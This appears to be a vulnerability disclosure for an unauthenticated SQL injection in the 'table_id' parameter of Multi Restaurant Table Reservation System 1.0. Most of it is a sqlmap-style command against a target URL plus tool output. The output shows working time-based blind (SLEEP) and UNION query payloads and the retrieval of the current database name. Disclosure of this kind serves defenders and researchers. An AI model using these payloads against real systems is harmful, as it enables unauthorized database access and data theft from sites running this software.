-Multi-Restaurant-Table-Reservation-System

- Title: Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection
- Vendor Homepage: www.sourcecodester.com
- Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
- Version: 1.0
- Description:
  The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection.
  An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
- sql payload:
  -u http://192.168.100.234//TableReservation/dashboard/view-chair-list.php?table_id=1 --batch --current-db

```
---
Parameter: table_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: table_id=1' AND (SELECT 9267 FROM (SELECT(SLEEP(5)))NbAD) AND 'IZQG'='IZQG

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: table_id=1' UNION ALL SELECT CONCAT(0x7162707671,0x4b4949696767736375a5a75445a4f6976495755664c7158695a417258704771456c466369615246,0
x716b627071),NULL,NULL-- -
---
[13:34:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:34:28] [INFO] fetching current database
current database: 'res_booking'
```